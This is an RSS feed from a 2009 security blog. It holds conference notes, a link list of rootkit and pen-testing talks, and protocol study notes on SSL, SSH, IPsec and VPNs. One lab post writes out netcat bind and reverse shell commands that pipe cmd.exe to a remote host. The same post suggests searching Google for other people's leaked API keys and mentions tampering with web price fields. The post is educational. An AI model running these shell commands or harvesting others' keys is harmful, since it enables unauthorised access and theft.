<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Co-ordinators</title>
	<atom:link href="http://www.securitycoordinators.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.securitycoordinators.com</link>
	<description>Information Security Notes</description>
	<lastBuildDate>Mon, 04 May 2009 19:16:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>InfoSec Europe 2009</title>
		<link>http://www.securitycoordinators.com/?p=215</link>
		<comments>http://www.securitycoordinators.com/?p=215#comments</comments>
		<pubDate>Mon, 04 May 2009 19:16:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=215</guid>
		<description><![CDATA[It was a pleasure attending InfoSec Europe 2009, this year as a guest and not having to man a booth. 1) Dan Kaminsky Inducted to the Infosec Hall of fame + pushing for DNSSec 2) Whitefield Deffie on the Third age of Information Security ( or maybe the end of Information Security) 3) The e-crime [...]]]></description>
			<content:encoded><![CDATA[<p>It was a pleasure attending InfoSec Europe 2009, this year as a guest and not having to man a booth.</p>
<p>1) Dan Kaminsky Inducted to the Infosec Hall of fame + pushing for DNSSec<br />
2) Whitefield Deffie on the Third age of Information Security ( or maybe the end of Information Security)<br />
3) The e-crime Panel was a Fiasco.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=215</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Rootkits &amp; Web Application Security</title>
		<link>http://www.securitycoordinators.com/?p=212</link>
		<comments>http://www.securitycoordinators.com/?p=212#comments</comments>
		<pubDate>Mon, 04 May 2009 18:41:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=212</guid>
		<description><![CDATA[Hi All, I’ve complied a list of interesting articles and tools you might be interested in checking out. I’ve added some web application testing software as well as Dictionary Files + Pen testing tools. Web Application Security Dissecting Web Attacks http://www.blackhat.com/presentations/bh-dc-09/ValSmith/BlackHat-DC-09-valsmith-colin-Dissecting-Web-Attacks.pdf http://www.blackhat.com/presentations/bh-dc-09/ValSmith/BlackHat-DC-09-valsmith-colin-Web-Attack-Disection-slides.pdf New Techniques for Defeating SSL/TLS https://media.blackhat.com/bh-dc-09/video/Marlinspike/blackhat-dc-09-marlinspike-slide.mov http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf XSS Anonymous Browser http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB_Slides.pdf http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf OWASP [...]]]></description>
			<content:encoded><![CDATA[<p>Hi All,</p>
<p>I’ve complied a list of interesting articles and tools you might be interested in checking out. I’ve added some web application testing software as well as Dictionary Files + Pen testing tools.</p>
<p>Web Application Security</p>
<p>Dissecting Web Attacks</p>
<p>http://www.blackhat.com/presentations/bh-dc-09/ValSmith/BlackHat-DC-09-valsmith-colin-Dissecting-Web-Attacks.pdf</p>
<p>http://www.blackhat.com/presentations/bh-dc-09/ValSmith/BlackHat-DC-09-valsmith-colin-Web-Attack-Disection-slides.pdf</p>
<p>New Techniques for Defeating SSL/TLS</p>
<p>https://media.blackhat.com/bh-dc-09/video/Marlinspike/blackhat-dc-09-marlinspike-slide.mov</p>
<p>http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf</p>
<p>XSS Anonymous Browser</p>
<p>http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB_Slides.pdf</p>
<p>http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf</p>
<p>OWASP Linux Distro&#038;Virtual Machine:</p>
<p>http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project</p>
<p>OWASP Running An ISO In Vmware</p>
<p>http://securitydistro.com/video-tutorials/53/Running-an-ISO-on-VMware.php</p>
<p>Acunetix WVS</p>
<p>http://www.acunetix.com/</p>
<p>WebScarab </p>
<p>http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project</p>
<p>SPIKE Proxy : HTTP Hacking</p>
<p>http://www.immunitysec.com/resources-freesoftware.shtml</p>
<p>Rootkits + Pentesting</p>
<p>http://sectools.org/crackers.html</p>
<p>http://www.offensive-security.com/cons/shmoo2008/muts_at_shmoo.html</p>
<p>Fast-Track</p>
<p>http://www.thepentest.com/</p>
<p>http://www.shmoocon.org/slides/DKENNEDY_FastTrack_ShmooCon_2009.pdf</p>
<p>Wordlists/Dictionary Files:</p>
<p>http://www.outpost9.com/files/WordLists.html</p>
<p>ftp://ftp.ox.ac.uk/pub/wordlists/<br />
ftp://ftp.mirrorgeek.com/openwall/wordlists</p>
<p>Alice in User-Land: Hijacking the Linux Kernel via /dev/mem</p>
<p>http://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem-slides.pdf</p>
<p>.NET Framework Rootkits: Backdoors Inside Your Framework</p>
<p>http://www.blackhat.com/presentations/bh-europe-09/Metula/BlackHat-Europe-2009-Metula-NET-Framework-rootkits-whitepaper.pdf</p>
<p>iRK &#8211; Crafting OS X Kernel Rootkits</p>
<p>https://www.blackhat.com/presentations/bh-usa-08/D&#8217;Auganno/D&#8217;Auganno_Extras.zip</p>
<p>https://www.blackhat.com/presentations/bh-usa-08/D&#8217;Auganno/BH_US_08_DAuganno_iRK_OS_X_Rootkits.pdf</p>
<p>A New Breed of Rootkit: The System Management Mode (SMM) Rootkit</p>
<p>https://www.blackhat.com/presentations/bh-usa-08/Embleton_Sparks/BH_US_08_Embleton_Sparks_SMM_Rootkits_Slides.pdf</p>
<p>https://media.blackhat.com/bh-usa-08/video/bh-us-08-Embleton/black-hat-usa-08-embleton-smmrootkit-hires.m4v</p>
<p>Nmap: Scanning the Internet</p>
<p>https://www.blackhat.com/presentations/bh-usa-08/Vaskovich/BH_US_08_Vaskovich_Nmap_Scanning_the_Internet.pdf</p>
<p>https://media.blackhat.com/bh-usa-08/video/bh-us-08-Fyodor/black-hat-usa-08-fyodor-nmap.m4v</p>
<p>Meet The Owner Of a Real Hacked Company &#8211; Forensic Investigation</p>
<p>https://www.blackhat.com/presentations/bh-usa-08/Shelhart/BH_US_08_Trustwave_Presentation_Shelhart_Meet_Owner.pdf</p>
<p>https://media.blackhat.com/bh-usa-08/video/bh-us-08-Shelhart/black-hat-usa-08-shelhart-hackedcompany-hires.m4v</p>
<p>Dan Kaminsky<br />
Weaponizing Noam Chomsky, or Hacking with Pattern Language</p>
<p>http://www.shmoocon.org/2007/videos/Weaponizing%20Noam%20Chomsky,%20or%20Hacking%20with%20Pattern%20Languages%20-%20Dan%20Kaminsky.mp4</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=212</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>M14</title>
		<link>http://www.securitycoordinators.com/?p=197</link>
		<comments>http://www.securitycoordinators.com/?p=197#comments</comments>
		<pubDate>Fri, 09 Jan 2009 14:43:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=197</guid>
		<description><![CDATA[Few important links and information The free version of netstalker is now in the lab. Webgoat is a vunerable server created and maintained by OWASP, it contains the latest vunerabilites, which Security proffesionals could try out. The link below, contains walkthroughs of these vunerabilities and challenges: http://yehg.org/lab/pr0js/training/webgoat.php The difference between a bind shell and a [...]]]></description>
			<content:encoded><![CDATA[<p>Few important links and information</p>
<p>The free version of netstalker is now in the lab.</p>
<p>Webgoat is a vunerable server created and maintained by OWASP, it contains the latest vunerabilites, which Security proffesionals could try out. The link below, contains walkthroughs of these vunerabilities and challenges:</p>
<p>http://yehg.org/lab/pr0js/training/webgoat.php</p>
<p>The difference between a bind shell and a reverse bind shell:<br />
Ever notice in the metasploit framework there are two types of payloads (bind/normal and reverse?)</p>
<p>you can bind an application to a particular port. for example : nc -lvvp 666 -e cmd.exe<br />
This command indicates that the cmd is not binded to the port 666. anyone connecting to port 666 will get the cmd output</p>
<p>On the other hand if you are behind a nat it becomes a problem (and thats where reverse bind shell comes in)<br />
First let nnetcat listen on a particular pot: nc -lvvp 666<br />
and conect to it this port, but   &#8220;throw&#8221; the cmd comand shell to it: nc -v &#8220;ip address &#8221; 666 -e cmd.exe<br />
As it is an outbound connection it will go through the NAT</p>
<p>What happens here is basically what happens during a client side attack a hacker sends a reverse shell to his listening server from the target machine. How he does that is another question, he can send trojans, worms, BO-exploits. It is essentially a backdoor type payload. Some reverse shells even use IE (the passive x payload) so it as if you are surfing the web.</p>
<p>Web sanning. Some tools like wikito can scan you site against all the google hacks db, for that you need a google API key&#8230;.if you are lazy you can find that out through google. simple put &#8220;google.license_key&#8221; into google and you can find someone&#8217;s API key.</p>
<p>there are many sites such as langalaxy which do not have proper input validation so tools such as tamperdata for firefox or brup proxy and manipulate the price (and other) fields in order to change the value on the server.</p>
<p>XSS or cross side scripting is a pain of a  vunerability. essentially the concept is very simple. If a webserver can accept javascript or other mobile code it can run scripts at the client. it can be inputed in a URL or in any field in a site for example:</p>
<p>http://yehg.org/lab/pr0js/files.php/webgoat_xsslab_stage1.zip</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=197</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Risk Assessment</title>
		<link>http://www.securitycoordinators.com/?p=190</link>
		<comments>http://www.securitycoordinators.com/?p=190#comments</comments>
		<pubDate>Tue, 06 Jan 2009 17:52:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Risk Assessment]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=190</guid>
		<description><![CDATA[Risk assessment, “Assess The harm that is likely to result from a significant breach of information security and its potential consequences on significant breaches, and the realistic likelihood of a breach in light of prevailing threats vulnerabilities and controls”. ISO-17799 Standard Information security risk is a threat and a vulnerability to an asset. An asset [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Risk assessment</strong>, “Assess The harm that is likely to result from a significant breach of information security and its potential consequences on significant breaches, and the realistic likelihood of a breach in light of prevailing threats vulnerabilities and controls”. ISO-17799 Standard </p>
<p><strong>Information security risk</strong> is a threat and a vulnerability to an asset.</p>
<p><strong>An asset</strong> can be people or machinery or information and they are given a value. </p>
<p>Those values are enhanced by either the threat or vulnerability. An Asset is something of value, it can be tangible or intangible, it can be a resource it can be a process (a way of doing something) it can be<br />
a product or it can be a system it can be may other things. </p>
<p><strong>A threat</strong> is a natural or man made circumstance, that is any potential cause of an<br />
 unwanted incident that causes harm or consequential loss to a system or<br />
an organization. It is the cause of an incident, and vulnerability is a weakness<br />
in a safeguard or a control. This is where Risk assessment comes into information security. </p>
<p><strong>Vulnerability</strong> is the absence or a weakness of a safeguard<br />
or a control of an asset or a group of assets that may be exploited by<br />
a threat. </p>
<p><strong>Scope</strong><br />
It has to be agreed before hand and if it is not the risk or redundancy and rework is high and the risk threat key risks are missed is also high<br />
The first thing that has to happen in a risk assessment and this actually has to happen to any standard, is  to define the scope. The definition of scope is a pre requisite to starting a risk  activity/project. setting boundaries is a mandatory part of a process so after the scope,<br />
the organisation identifies the assets and gives them a value. A value can be a value to whichever process they want to undertake,<br />
the whole point of giving values is that one can scale them. Thus an organization<br />
can prioritize them start from the top and work its way down. </p>
<p>So having  given values on the impact of failure and the likely hood of the<br />
Threat, assessing the likely hood of a threat which depends on what sort of business is the organisation in. it depends on the industry its in its all very subjective but threats are assessed by  how likely the incident is to occur and from that an organization can determine over all risk in terms of priority, how likely is this to happen, then  evaluate these controls and are these controls enough?<br />
Residual riskAt the bottom there will always be residual risk. Therefore it is imperative that information security officers objectively assess which risks are left over present their findings and have management sign off on them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=190</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSL/TLS</title>
		<link>http://www.securitycoordinators.com/?p=185</link>
		<comments>http://www.securitycoordinators.com/?p=185#comments</comments>
		<pubDate>Sat, 03 Jan 2009 04:10:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[SSL/TLS]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=185</guid>
		<description><![CDATA[SSL/TLS: is an application independent layer that works between the app and transport layers of the TCP/IP stack SSL/TLS can provide. 1) Authentication of the server to the client from a certification authority 2) Negotiation of a common cryptographic algorithm or cipher 3) Authentication of the client to the server 4) Use of asymmetric encryption [...]]]></description>
			<content:encoded><![CDATA[<p>SSL/TLS:  is an application independent layer that works between the app and transport layers of the TCP/IP stack SSL/TLS can provide.<br />
1)	Authentication of the server to the client from a certification authority<br />
2)	Negotiation of a common cryptographic algorithm or cipher<br />
3)	Authentication of the client to the server<br />
4)	Use of asymmetric encryption to transfer shared<br />
5)	Establish an encrypted connection</p>
<p>HTTPS: Web communications that are secured by SSL/TLS are called HTTPS.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=185</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SSH</title>
		<link>http://www.securitycoordinators.com/?p=184</link>
		<comments>http://www.securitycoordinators.com/?p=184#comments</comments>
		<pubDate>Sat, 03 Jan 2009 04:08:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=184</guid>
		<description><![CDATA[SSH: Secure Shell is a low level secure protocol. Its meant to replace telnet, rlogin, rsh and rcp also ssh2 as a replacement for ftp:sftp. It encrypts passwords and other data. SSH consists of: 1) Transport lyaer protocol (ssh-trans) provides secure authentication,cont, net integrity 2) User authentication protocol (ssh-userAuth) authenticate the client-side user to the [...]]]></description>
			<content:encoded><![CDATA[<p>SSH: Secure Shell is a low level secure protocol. Its meant to replace telnet, rlogin, rsh and rcp also ssh2 as a replacement for ftp:sftp. It encrypts passwords and other data.<br />
SSH consists of:<br />
1)	Transport lyaer protocol (ssh-trans) provides secure authentication,cont,  net integrity<br />
2)	User authentication protocol (ssh-userAuth) authenticate the client-side user to the server runs over transport layer protocol.<br />
3)	The connection protocol (SHH-conn) Multiplexes the encrypted tunnel into several logical channels. It runs over the user authentication protocol.<br />
SSH uses public key encyption as the main metod for a user authentication but rhosts/shosts authentication can be used as well.<br />
SSH provides protection from:<br />
1)	packet spoofing<br />
2)	IP/Host Spoofing<br />
3)	Password Sniffing<br />
4)	Eaves dropping</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=184</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPSEC</title>
		<link>http://www.securitycoordinators.com/?p=183</link>
		<comments>http://www.securitycoordinators.com/?p=183#comments</comments>
		<pubDate>Sat, 03 Jan 2009 04:06:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[IPSEC]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=183</guid>
		<description><![CDATA[IPSEC: with IPsec you can provide privacy integrity and authenticity for network traffic in the following situations 1) End t end security for IP unicast traffic using IPsec trasport mode 2) Remote Access VPN client and gateway functions, using L2TP secured by IPsec transport mode. 3) Site-to-site VPN connections across outsourced private wide area network [...]]]></description>
			<content:encoded><![CDATA[<p>IPSEC: with IPsec you can provide privacy integrity and authenticity for network traffic in the following situations<br />
1)	End t end security for IP unicast traffic using IPsec trasport mode<br />
2)	Remote Access VPN client and gateway functions, using L2TP secured by IPsec transport mode.<br />
3)	Site-to-site VPN connections across outsourced private wide area network (wan) or Internet-based connections using L2TP/IPsec or IPsec Tunnel Mode<br />
3 IKE authentication Methods of IPsec<br />
1)	Kerberos v.5<br />
2)	Certificates<br />
3)	Passwords<br />
IPSec provides integrity protection, authentication and privacy replay protection services for IP traffic:<br />
1)	IP protocol 50 called the encapsulating security payload (ESP) format, which provides confidentiality, authenticity, and integrity.<br />
2)	IP protocol 51 called authentication header (AH) format, which provides integrity and authenticity, but not confidentity.<br />
IPSec has two modes transport (which uses an existing IP packet) and tunnel mode (which uses an existing IP packet) and Tunnel mode (which uses an IP packet Inside a new IP packet that is sent to a tunnel endpoint in the IPsec format.<br />
Transport mode was designed to provide end to end security while tunnel mode was designed primarily for network mid points, routers, gateways tunnel mode not suitable for vpn (no authentication of client IP address config)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=183</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L2TP</title>
		<link>http://www.securitycoordinators.com/?p=182</link>
		<comments>http://www.securitycoordinators.com/?p=182#comments</comments>
		<pubDate>Sat, 03 Jan 2009 04:04:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[L2TP]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=182</guid>
		<description><![CDATA[L2TP: L2TP encapsulates PPP frames to be sent over IP, X.25, frame relay or ATM. Its widely implemented by IEFTF (port UDP 1701). It takes advantage of IPsec and encapsulates PPP frames as tunnel data. L2TP was designed for gateway to gateway connection or client to access server.]]></description>
			<content:encoded><![CDATA[<p>L2TP: L2TP encapsulates PPP frames to be sent over IP, X.25, frame relay or ATM. Its widely implemented by IEFTF (port UDP 1701). It takes advantage of IPsec and encapsulates PPP frames as tunnel data. L2TP was designed for gateway to gateway connection or client to access server.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=182</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PPTP</title>
		<link>http://www.securitycoordinators.com/?p=181</link>
		<comments>http://www.securitycoordinators.com/?p=181#comments</comments>
		<pubDate>Sat, 03 Jan 2009 04:03:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[PPTP]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=181</guid>
		<description><![CDATA[PPTP: when a PC is connected to the internet a control connection (tunnel) to the server using TCP is established working with PPP Characteristics of PPTP 1) It’s a layer 2 protocol which encaplsulates PPP frames in IP datagram’s for transmission over an unsecured public IP network such as the internet (Vilates OSI standards) 2) [...]]]></description>
			<content:encoded><![CDATA[<p>PPTP: when a PC is connected to the internet a control connection (tunnel) to the server using TCP is established working with PPP<br />
Characteristics of PPTP<br />
1)	It’s a layer 2 protocol which encaplsulates PPP frames in IP datagram’s for transmission over an unsecured public IP network such as the internet (Vilates OSI standards)<br />
2)	It accomplishes authentication like PPP (PaP, Chap, MSchap)<br />
3)	 It requires an IP based network. Header compression is not supported. PPTP doesn’t support IPsec and encryption is provided using standard PPP methods.<br />
 The Data  sent are encapsulated by IP data can be<br />
•	TCP port 1723<br />
•	Another Datagram<br />
•	An IPX message<br />
•	A Net BEUI message</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=181</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VPN</title>
		<link>http://www.securitycoordinators.com/?p=180</link>
		<comments>http://www.securitycoordinators.com/?p=180#comments</comments>
		<pubDate>Sat, 03 Jan 2009 03:55:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Networking Security]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.securitycoordinators.com/?p=180</guid>
		<description><![CDATA[VPN: is a secure connection between remote computer and a server on a private network that uses the internet as its medium by having the network permeantly connected to the internet by using a modem to dial-in to an ISP located nearby. Some ISP provides international services so the connection can be made internationally and [...]]]></description>
			<content:encoded><![CDATA[<p>VPN: is a secure connection between remote computer and a server on a private network that uses the internet as its medium by having the network permeantly connected to the internet by using a modem to dial-in to an ISP located nearby. Some ISP provides international services so the connection can be made internationally and with only a local call. The remote PC and remote access server establish a secure connection, which protects the data exchanged between them as it travels over the Internet called tunnelling. Some protocols associated with VPNS:<br />
•	Point-to-Point Tunneling Protocol:  Created by the PPTP industry forum which included Microsoft, 3com ASCend, and ECI Telematics)<br />
•	Layer 2 Tunneling Protocol:  A combination of PPTP and L2F (designed by CISCO)<br />
•	Internet Protocol Security: IPsec is an Architecture, protocol and related internet key exchange (IKE) </p>
]]></content:encoded>
			<wfw:commentRss>http://www.securitycoordinators.com/?feed=rss2&amp;p=180</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
